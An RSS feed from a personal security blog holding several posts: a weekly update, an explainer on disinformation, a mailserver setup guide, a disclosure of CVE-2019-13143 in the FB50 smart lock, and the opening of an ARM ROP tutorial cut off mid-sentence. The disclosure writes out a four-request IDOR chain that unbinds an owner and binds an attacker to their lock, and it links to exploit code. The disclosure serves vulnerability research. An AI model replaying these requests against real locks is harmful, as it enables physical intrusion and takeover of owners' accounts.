1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
   2  <channel>
   3    <title>icyphox's blog</title>
   4	<link>https://icyphox.sh/blog/</link>
   5    <description>Security, forensics and privacy.</description>
   6	<atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
   7    <image>
   8		<title>icyphox logo</title>
   9      <url>https://icyphox.sh/icyphox.png</url>
  10	  <link>https://icyphox.sh/blog/</link>
  11    </image>
  12    <language>en-us</language>
  13	<copyright>Creative Commons BY-NC-SA 4.0</copyright>
  14    <item><title>Weekly status update, 09/08 - 09/17</title><description><![CDATA[<p>This is something new I&#8217;m trying out, in an effort to write more frequently
  15and to serve as a log of how I&#8217;m using my time. In theory, I will write this post
  16every week. I&#8217;ll need someone to hold me accountable if I don&#8217;t. I have yet to decide on
  17a format for this, but it will probably include a quick summary of the work I did,
  18things I read, IRL stuff, etc.</p>
  19
  20<p>With the meta stuff out of the way, here&#8217;s what went down last week!</p>
  21
  22<h3 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h3>
  23
  24<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It&#8217;s a link to
  25the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
  26It creates a small community of sites and enables sharing of traffic among these sites.
  27The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
  28of those sites are beautiful. Mine pales in comparison.</p>
  29
  30<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
  31called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
  32and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
  33twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>
  34
  35<p>Which brings me to the next thing I did this/last week.</p>
  36
  37<h3 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h3>
  38
  39<p>I&#8217;m not a fan of the official Python client, because you know, Python is bloat.
  40As an advocate of <em>mnmlsm</em>, I can&#8217;t use it in good conscience. Thus, began my
  41authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
  42It&#8217;s not entirely useable as of yet, but it&#8217;s definitely getting there, with the help
  43of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>
  44
  45<h3 id="other">Other</h3>
  46
  47<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
  48Darknet Diaries &amp; Off the Pill. To add to this list, I&#8217;ve begun binging Vice&#8217;s CYBER.
  49It&#8217;s pretty good &#8211; each episode is only about 30 mins and it hits the sweet spot,
  50delvering both interesting security content and news.</p>
  51
  52<p>My reading needs a ton of catching up. Hopefully I&#8217;ll get around to finishing up
  53&#8220;The Unending Game&#8221; this week. And then go back to &#8220;Terrorism and Counterintelligence&#8221;.</p>
  54
  55<p>I&#8217;ve begun learning Russian! I&#8217;m really liking it so far, and it&#8217;s been surprisingly
  56easy to pick up. Learning the Cyrillic script will require some relearning, especially
  57with letters like в, н, р, с, etc. that look like English but sound entirely different.
  58I think I&#8217;m pretty serious about learning this language &#8211; I&#8217;ve added the Russian keyboard
  59to my Google Keyboard to aid in my familiarization of the alphabet. I&#8217;ve added the <code>RU</code>
  60layout to my keyboard map too:</p>
  61
  62<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
  63</code></pre>
  64
  65<p>With that ends my weekly update, and I&#8217;ll see you next week!</p>
  66]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let&#8217;s start with its etymology and definiton.
  67According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
  68<em>disinformation</em> has been borrowed from the Russian word &#8212; <em>dezinformatisya</em> (дезинформа́ция),
  69derived from the title of a KGB black propaganda department.</p>
  70
  71<blockquote>
  72  <p>Disinformation is false information spread deliberately to deceive.</p>
  73</blockquote>
  74
  75<p>To fully understand disinformation, especially in the modern age, we need to understand the
  76key factors of any successful disinformation operation:</p>
  77
  78<ul>
  79<li>creating disinformation (what)</li>
  80<li>the motivation behind the op, or its end goal (why)</li>
  81<li>the medium used to disperse the falsified information (how)</li>
  82<li>the actor (who)</li>
  83</ul>
  84
  85<p>At the end, we&#8217;ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
  86
  87<p>In order to break monotony, I will also be using the terms &#8220;information operation&#8221;, or the shortened
  88forms &#8211; &#8220;info op&#8221; &amp; &#8220;disinfo&#8221;.</p>
  89
  90<h3 id="creating-disinformation">Creating disinformation</h3>
  91
  92<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
  93of any disinformation sample is a huge indicator of the level of sophistication of the
  94actor involved, i.e. is it a 12 year old troll or a nation state?</p>
  95
  96<p>Well crafted disinformation always has one primary characteristic &#8212; &#8220;plausibility&#8221;.
  97The disinfo must sound reasonable. It must induce the notion it&#8217;s <em>likely</em> true. 
  98To achieve this, the target &#8212; be it an individual, a specific demographic or an entire
  99nation &#8212; must be well researched. A deep understanding of the target&#8217;s culture, history,
 100geography and psychology is required. It also needs circumstantial and situational awareness,
 101of the target.</p>
 102
 103<p>There are many forms of disinformation. A few common ones are staged videos / photographs, 
 104recontextualized videos / photographs, blog posts, news articles &amp; most recently &#8212; deepfakes.</p>
 105
 106<p>Here&#8217;s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
 107imagery:</p>
 108
 109<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
 110<p lang="en" dir="ltr">Disinformation.
 111<br><br>
 112The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
 113<br><br>Recontextualisation as threat vector. 
 114<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
 115</p>&mdash; thaddeus e. grugq (@thegrugq) 
 116<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
 117</blockquote>
 118
 119<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> 
 120
 121<h3 id="motivations-behind-an-information-operation">Motivations behind an information operation</h3>
 122
 123<p>I like to broadly categorize any info op as either proactive or reactive. 
 124Proactively, disinformation is spread with the desire to influence the target
 125either before or during the occurence of an event. This is especially observed
 126during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
 127In offensive information operations, the target&#8217;s psychological state can be affected by
 128spreading <strong>fear, uncertainty &amp; doubt</strong>, or FUD for short.</p>
 129
 130<p>Reactive disinformation is when the actor, usually a nation state in this case,
 131screws up and wants to cover their tracks. A fitting example of this is the case
 132of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over 
 133eastern Ukraine. This tragic incident has been attributed to Russian-backed 
 134separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> 
 135Russian media is known to have desseminated a number of alternative &amp; some even
 136conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT&#8217;s (Dutch-lead Joint
 137Investigation Team) investigations pointed towards the separatists. 
 138The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
 139potentially correct information takes a credibility hit.</p>
 140
 141<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
 142in totalitarian regimes; when the government decides what the media portrays to the
 143masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
 144
 145<blockquote>
 146  <p>Official state media pin the blame for protests on the &#8220;black hand&#8221; of foreign interference, 
 147  namely from the United States, and what they have called criminal Hong Kong thugs.
 148  A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters, 
 149  who are demanding an end to an extradition bill with China and the ability to elect their own leader.
 150  Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience, 
 151  this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
 152  &#8230;</p>
 153</blockquote>
 154
 155<h3 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h3>
 156
 157<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
 158play a key role in influence ops en masse. It guarantees outreach due to the channel/paper&#8217;s
 159popularity.</p>
 160
 161<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
 162generate activity programmatically via the API, Twitter bots are the go-to choice today for 
 163info ops. Essentially, an actor attempts to create &#8220;discussions&#8221; amongst &#8220;users&#8221; (read: bots),
 164to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
 165get realtime insights into what sticks and what doesn&#8217;t.
 166The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
 167factory &#8212; the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
 168to create discussions about alternative theories.</p>
 169
 170<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
 171actively invest in creating group chats to spread political messages and memes. These parties
 172have volunteers whose sole job is to sit and forward messages.
 173Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
 174this is disinformation without a motive, or the motive is hard to determine simply because
 175the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
 176This is a difficult problem to combat, especially given the nature of the target audience.</p>
 177
 178<h3 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h3>
 179
 180<p>I doubt this requires further elaboration, but in short:</p>
 181
 182<ul>
 183<li>nation states and their intelligence agencies</li>
 184<li>governments, political parties</li>
 185<li>other non/quasi-governmental groups</li>
 186<li>trolls</li>
 187</ul>
 188
 189<p>This essentially sums up the what, why, how and who of disinformation. </p>
 190
 191<h3 id="personal-opsec">Personal OPSEC</h3>
 192
 193<p>This is a fun one. Now, it&#8217;s common knowledge that
 194<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
 195afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
 196lead to your OPSEC being compromised.
 197So if you really have to, you can feign activity using disinformation. For example,
 198pick a place, and throw in subtle details pertaining to the weather, local events
 199or regional politics of that place into your disinfo. Assuming this is Twitter, you can
 200tweet stuff like:</p>
 201
 202<ul>
 203<li>&#8220;Ugh, when will this hot streak end?!&#8221;</li>
 204<li>&#8220;Traffic wonky because of the Mardi Gras parade.&#8221;</li>
 205<li>&#8220;Woah, XYZ place is nice! Especially the fountains by ABC street.&#8221;</li>
 206</ul>
 207
 208<p>Of course, if you&#8217;re a nobody on Twitter (like me), this is a non-issue for you.</p>
 209
 210<p>And please, don&#8217;t do this:</p>
 211
 212<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
 213
 214<h3 id="conclusion">Conclusion</h3>
 215
 216<p>The ability to influence someone&#8217;s decisions/thought process in just one tweet is 
 217scary. There is no simple way to combat disinformation. Social media is hard to control.
 218Just like anything else in cyber, this too is an endless battle between social media corps
 219and motivated actors.</p>
 220
 221<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
 222folks see the truth in a post-truth world.</p>
 223
 224<div class="footnotes">
 225<hr />
 226<ol>
 227<li id="fn-1">
 228<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!).&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 229</li>
 230
 231<li id="fn-2">
 232<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>&#8217;s season one covers the MH17 investigation in detail.&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
 233</li>
 234
 235<li id="fn-3">
 236<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
 237</li>
 238
 239<li id="fn-4">
 240<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a>&#160;<a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">&#8617;</a></p>
 241</li>
 242
 243<li id="fn-5">
 244<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>.&#160;<a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">&#8617;</a></p>
 245</li>
 246</ol>
 247</div>
 248]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I&#8217;d made an attempt at setting one up
 249around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
 250I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
 251
 252<p>For this attempt, I wanted a simpler approach. I recall how terribly
 253confusing Dovecot &amp; Postfix were to configure and hence I decided to look
 254for a containerized solution, that most importantly, runs on my cheap $5 
 255Digital Ocean VPS &#8212; 1 vCPU and 1 GB memory. Of which only around 500 MB
 256is actually available. So yeah, <em>pretty</em> tight.</p>
 257
 258<h3 id="whats-available">What&#8217;s available</h3>
 259
 260<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
 261These are the ones I came across:</p>
 262
 263<ul>
 264<li><p><a href="https://poste.io">poste.io</a>: Based on an &#8220;open core&#8221; model. The base install is open source 
 265and free (as in beer), but you&#8217;ll have to pay for the extra stuff.</p></li>
 266<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io, 
 267but ships with a web UI that I didn&#8217;t need. </p></li>
 268<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
 269they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
 270<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
 271a mention. It however, needs a fresh box to work with. A box with absolutely 
 272nothing else on it. I can&#8217;t afford to do that.</p></li>
 273<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
 274</ul>
 275
 276<h3 id="so-docker-mailserver">So… <code>docker-mailserver</code></h3>
 277
 278<p>The first thing that caught my eye in the README:</p>
 279
 280<blockquote>
 281  <p>Recommended:</p>
 282  
 283  <ul>
 284  <li>1 CPU</li>
 285  <li>1GB RAM</li>
 286  </ul>
 287  
 288  <p>Minimum:</p>
 289  
 290  <ul>
 291  <li>1 CPU</li>
 292  <li>512MB RAM</li>
 293  </ul>
 294</blockquote>
 295
 296<p>Fantastic, I can somehow squeeze this into my existing VPS.
 297Setup was fairly simple &amp; the docs are pretty good. It employs a single
 298<code>.env</code> file for configuration, which is great.
 299However, I did run into a couple of hiccups here and there.</p>
 300
 301<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
 302of memory.</p>
 303
 304<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
 305</code></pre>
 306
 307<p>But it eventually worked after a couple of attempts.</p>
 308
 309<p>The next thing I struggled with &#8212; DNS. Specifically, the with the step where
 310the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
 311<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
 312isn&#8217;t exactly CloudFlare friendly; they can&#8217;t be directly copy-pasted into
 313a <code>TXT</code> record. </p>
 314
 315<p>This is what it looks like.</p>
 316
 317<pre><code>mail._domainkey IN  TXT ( "v=DKIM1; h=sha256; k=rsa; "
 318      "p=&lt;key&gt;"
 319      "&lt;more key&gt;" )  ; ----- DKIM key mail for icyphox.sh
 320</code></pre>
 321
 322<p>But while configuring the record, you set &#8220;Type&#8221; to <code>TXT</code>, &#8220;Name&#8221; to <code>mail._domainkey</code>,
 323and the &#8220;Value&#8221; to what&#8217;s inside the parenthesis <code>(  )</code>, <em>removing</em> the quotes <code>""</code>. 
 324Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>
 325
 326<p>To simplify debugging DNS issues later, it&#8217;s probably a good idea to
 327point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an 
 328<code>A</code> record.
 329You&#8217;ll then have to set an <code>MX</code> record with the &#8220;Name&#8221; as <code>@</code> (or whatever your DNS provider
 330uses to denote the root domain) and the &#8220;Value&#8221; to <code>mail.domain.tld</code>.
 331And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of 
 332your <code>A</code> record &#8212; &#8220;Name&#8221; as the server IP and &#8220;Value&#8221; as <code>mail.domain.tld</code>.
 333I learnt this part the hard way, when my outgoing email kept getting
 334rejected by Tutanota&#8217;s servers.</p>
 335
 336<p>Yet another hurdle &#8212; SSL/TLS certificates. This isn&#8217;t very properly
 337documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
 338and look at an example. In short, install <code>certbot</code>, have port 80 free,
 339and run </p>
 340
 341<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
 342</code></pre></div>
 343
 344<p>Once that&#8217;s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in 
 345the container, something like so:</p>
 346
 347<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
 348
 349<span class="nt">volumes</span><span class="p">:</span>
 350    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
 351    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
 352    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
 353    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
 354
 355<span class="nn">...</span>
 356</code></pre></div>
 357
 358<p>With this done, you shouldn&#8217;t have mail clients complaining about 
 359wonky certs for which you&#8217;ll have to add an exception manually.</p>
 360
 361<h3 id="why-would-you">Why would you…?</h3>
 362
 363<p>There are a few good reasons for this:</p>
 364
 365<h4 id="privacy">Privacy</h4>
 366
 367<p>No really, this is <em>the</em> best choice for truly private
 368email. Not ProtonMail, not Tutanota. Sure, they claim so and I don&#8217;t 
 369dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
 370
 371<blockquote>
 372  <p>Truly secure systems do not require you to trust the service provider.</p>
 373</blockquote>
 374
 375<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
 376how can you really be sure that it isn&#8217;t a backdoored version of it?</p>
 377
 378<p>When you host your own mailserver, you truly own your email without having to rely on any
 379third-party.
 380This isn&#8217;t an attempt to spread FUD. In the end, it all depends on your
 381threat model™.</p>
 382
 383<h4 id="decentralization">Decentralization</h4>
 384
 385<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
 386active users. That&#8217;s obscene.
 387Email was designed to be decentralized but big corps swooped in and
 388made it a product. They now control your data, and it isn&#8217;t unknown that
 389Google reads your mail. This again loops back to my previous point, privacy.
 390Decentralization guarantees privacy. When you control your mail, you subsequently
 391control who reads it.</p>
 392
 393<h4 id="personalization">Personalization</h4>
 394
 395<p>Can&#8217;t ignore this one. It&#8217;s cool to have a custom email address to flex.</p>
 396
 397<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
 398
 399<p>Pfft, this is no competition.</p>
 400
 401<div class="footnotes">
 402<hr />
 403<ol>
 404<li id="fn-1">
 405<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 406</li>
 407
 408<li id="fn-2">
 409<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs.&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
 410</li>
 411
 412<li id="fn-3">
 413<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn&#8217;t trust Signal.&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
 414</li>
 415</ol>
 416</div>
 417]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7&#8217;s Blog</a>, with my edits</em>)</p>
 418
 419<h3 id="the-lock">The lock</h3>
 420
 421<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
 422Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
 423across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
 424
 425<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
 426the Play/App Store to function. The app requires the user to create an
 427account before further functionality is available. 
 428It also facilitates configuring the fingerprint,
 429and unlocking from a range via Bluetooth.</p>
 430
 431<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
 432and the Android app.</p>
 433
 434<h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3>
 435
 436<p>Android phones have the ability to capture Bluetooth (HCI) traffic
 437which can be enabled under Developer Options under Settings. We made 
 438around 4 &#8220;unlocks&#8221; from the Android phone, as seen in the screenshot.</p>
 439
 440<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
 441
 442<p>This is the value sent in the <code>Write</code> request:</p>
 443
 444<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
 445
 446<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
 447but that didn&#8217;t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
 448
 449<h3 id="via-the-android-app">Via the Android app</h3>
 450
 451<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn&#8217;t get us too
 452far since most of it was obfuscated. Why bother when there exists an 
 453easier approach &#8211; BurpSuite.</p>
 454
 455<p>We captured and played around with a bunch of requests and responses,
 456and finally arrived at a working exploit chain.</p>
 457
 458<h3 id="the-exploit">The exploit</h3>
 459
 460<p>The entire exploit is a 4 step process consisting of authenticated 
 461HTTP requests:</p>
 462
 463<ol>
 464<li>Using the lock&#8217;s MAC (obtained via a simple Bluetooth scan in the 
 465vicinity), get the barcode and lock ID</li>
 466<li>Using the barcode, fetch the user ID</li>
 467<li>Using the lock ID and user ID, unbind the user from the lock</li>
 468<li>Provide a new name, attacker&#8217;s user ID and the MAC to bind the attacker
 469to the lock</li>
 470</ol>
 471
 472<p>This is what it looks like, in essence (personal info redacted).</p>
 473
 474<h4 id="request-1">Request 1</h4>
 475
 476<pre><code>POST /oklock/lock/queryDevice
 477{"mac":"XX:XX:XX:XX:XX:XX"}
 478</code></pre>
 479
 480<p>Response:</p>
 481
 482<pre><code>{
 483   "result":{
 484      "alarm":0,
 485      "barcode":"&lt;BARCODE&gt;",
 486      "chipType":"1",
 487      "createAt":"2019-05-14 09:32:23.0",
 488      "deviceId":"",
 489      "electricity":"95",
 490      "firmwareVersion":"2.3",
 491      "gsmVersion":"",
 492      "id":&lt;LOCK ID&gt;,
 493      "isLock":0,
 494      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
 495      "lockPwd":"000000",
 496      "mac":"XX:XX:XX:XX:XX:XX",
 497      "name":"lock",
 498      "radioName":"BlueFPL",
 499      "type":0
 500   },
 501   "status":"2000"
 502}
 503</code></pre>
 504
 505<h4 id="request-2">Request 2</h4>
 506
 507<pre><code>POST /oklock/lock/getDeviceInfo
 508
 509{"barcode":"https://app.oklok.com.cn/app.html?id=&lt;BARCODE&gt;"}
 510</code></pre>
 511
 512<p>Response:</p>
 513
 514<pre><code>   "result":{
 515      "account":"email@some.website",
 516      "alarm":0,
 517      "barcode":"&lt;BARCODE&gt;",
 518      "chipType":"1",
 519      "createAt":"2019-05-14 09:32:23.0",
 520      "deviceId":"",
 521      "electricity":"95",
 522      "firmwareVersion":"2.3",
 523      "gsmVersion":"",
 524      "id":&lt;LOCK ID&gt;,
 525      "isLock":0,
 526      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
 527      "lockPwd":"000000",
 528      "mac":"XX:XX:XX:XX:XX:XX",
 529      "name":"lock",
 530      "radioName":"BlueFPL",
 531      "type":0,
 532      "userId":&lt;USER ID&gt;
 533   }
 534</code></pre>
 535
 536<h4 id="request-3">Request 3</h4>
 537
 538<pre><code>POST /oklock/lock/unbind
 539
 540{"lockId":"&lt;LOCK ID&gt;","userId":&lt;USER ID&gt;}
 541</code></pre>
 542
 543<h4 id="request-4">Request 4</h4>
 544
 545<pre><code>POST /oklock/lock/bind
 546
 547{"name":"newname","userId":&lt;USER ID&gt;,"mac":"XX:XX:XX:XX:XX:XX"}
 548</code></pre>
 549
 550<h3 id="thats-it-the-scary-stuff">That&#8217;s it! (&amp; the scary stuff)</h3>
 551
 552<p>You should have the lock transferred to your account. The severity of this
 553issue lies in the fact that the original owner completely loses access to
 554their lock. They can&#8217;t even &#8220;rebind&#8221; to get it back, since the current owner 
 555(the attacker) needs to authorize that. </p>
 556
 557<p>To add to that, roughly 15,000 user accounts&#8217; info are exposed via IDOR.
 558Ilja, a cool dude I met on Telegram, noticed locks named &#8220;carlock&#8221;, 
 559&#8220;garage&#8221;, &#8220;MainDoor&#8221;, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
 560
 561<p><em>shudders</em></p>
 562
 563<h3 id="proof-of-concept">Proof of Concept</h3>
 564
 565<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
 566
 567<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
 568
 569<h3 id="disclosure-timeline">Disclosure timeline</h3>
 570
 571<ul>
 572<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
 573<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
 574<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
 575<li>No response from vendor</li>
 576<li><strong>2nd August 2019</strong>: Public disclosure</li>
 577</ul>
 578
 579<h3 id="lessons-learnt">Lessons learnt</h3>
 580
 581<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You&#8217;re better off with the &#8220;dumb&#8221; ones
 582with keys. With the IoT plague spreading, it brings in a large attack surface
 583to things that were otherwise &#8220;unhackable&#8221; (try hacking a &#8220;dumb&#8221; toaster).</p>
 584
 585<p>The IoT security scene is rife with bugs from over 10 years ago, like
 586executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development 
 587practices in general.</p>
 588
 589<p>Our existing threat models and scenarios have to be updated to factor 
 590in these new exploitation possibilities. This also broadens the playing 
 591field for cyber warfare and mass surveillance campaigns. </p>
 592
 593<h3 id="researcher-info">Researcher info</h3>
 594
 595<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
 596
 597<ul>
 598<li>Anirudh Oppiliappan (me)</li>
 599<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
 600<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
 601</ul>
 602
 603<div class="footnotes">
 604<hr />
 605<ol>
 606<li id="fn-1">
 607<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 608</li>
 609
 610<li id="fn-2">
 611<p>Thanks to Ilja Shaposhnikov (@drakylar).&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
 612</li>
 613
 614<li id="fn-3">
 615<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
 616</li>
 617</ol>
 618</div>
 619]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
 620assembly to follow along. I highly recommend
 621<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
